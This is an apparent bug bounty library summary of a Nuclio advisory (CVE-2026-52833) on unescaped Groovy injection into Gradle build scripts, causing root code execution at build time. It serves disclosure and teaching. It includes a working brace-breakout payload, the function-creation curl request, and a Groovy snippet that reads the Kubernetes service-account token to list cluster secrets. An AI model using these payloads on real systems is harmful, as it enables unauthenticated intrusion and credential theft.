# Nuclio: Unsanitized runtimeAttributes.repositories injected into Groovy build.gradle leads to build-time RCE

Nuclio's Java runtime renders runtimeAttributes.repositories into build.gradle via text/template without escaping, letting unauthenticated attackers inject Groovy that executes as root during builds.

- Payout: Research
- Severity: high
- Program: Nuclio
- Found by: j311yl0v3u, b0b0haha
- Disclosed: 2026-07-16
- CVE: CVE-2026-52833
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3v79-m2cg-89ww
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3v79-m2cg-89ww
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:go tech:java tech:kubernetes technique:source-review vuln:command-injection vuln:rce

**Target:** Nuclio Dashboard API function creation / Java runtime Gradle build script
**Root cause:** newBuildAttributes() decodes runtimeAttributes.repositories without validation, and createGradleBuildScript() renders each value with text/template's {{ . }} action, which performs no escaping, into a Groovy build.gradle.
**Steps:**
1. Deploy Nuclio (dashboard NOP auth default) and POST a function with runtime=java and build.runtimeAttributes.repositories[0] set to `mavenCentral()\n}\nprintln('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)\nrepositories {`
2. Observe Dashboard DEBUG log 'Created gradle build script' showing injected Groovy verbatim in build.gradle
3. Wait for kaniko build pod; `gradle tasks` and `gradle userHandler` evaluate top-level Groovy, executing the injected command
4. Read kaniko-executor logs to confirm `[RCE-PROOF] uid=0(root)` output
**How found:** Code review of the Java runtime build path: noticed text/template (not html/template) used with {{ . }} for user-controlled repositories, and that no validation exists in newBuildAttributes, then crafted a brace-breakout payload and verified dynamically.
**Exploitation:** Unauthenticated POST to /api/functions with a crafted repositories entry closes the repositories {} block, injects a top-level Groovy statement using List.execute() to run OS commands, and reopens the block so the file stays valid. Gradle evaluates top-level statements during configuration phase on both `gradle tasks` and `gradle userHandler`, executing the command as root inside the handler-builder-java-onbuild container.
**Escalation:** From build container: read registry/cloud credentials, SA token, reach IMDS for IAM creds, tamper compiled jar to poison function image. Docker socket escape verified NOT exploitable in default docker builder (RUN-stage container lacks socket mount).
**Insight:** When a Go text/template emits user input into a DSL (Groovy/Gradle, YAML, shell), a single `}` or newline breaks out of the surrounding block; check whether the template re-opens the block so the file stays syntactically valid, and whether the DSL evaluates top-level statements unconditionally (Gradle configuration phase does).

## Proof of concept (copied exactly from the original report)

**Malicious repositories payload with Groovy injection**

```
injection = (
    "mavenCentral()\n"
    "}\n"
    "println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)\n"
    "repositories {"
)
```

**POST request creating malicious Java function**

```
HTTP_CODE=$(curl -s -o /tmp/response.json -w "%{http_code}" \
    -X POST http://localhost:8070/api/functions \
    -H "Content-Type: application/json" \
    -H "x-nuclio-project-name: default" \
    -d @/tmp/payload.json)
echo "HTTP: ${HTTP_CODE}"
```

**Groovy payload reading SA token via curl**

```
def token = new File('/var/run/secrets/kubernetes.io/serviceaccount/token').text
['sh', '-c', "curl -sk -H 'Authorization: Bearer ${token}' " +
 'https://kubernetes.default.svc/api/v1/namespaces/nuclio/secrets'].execute().text
```

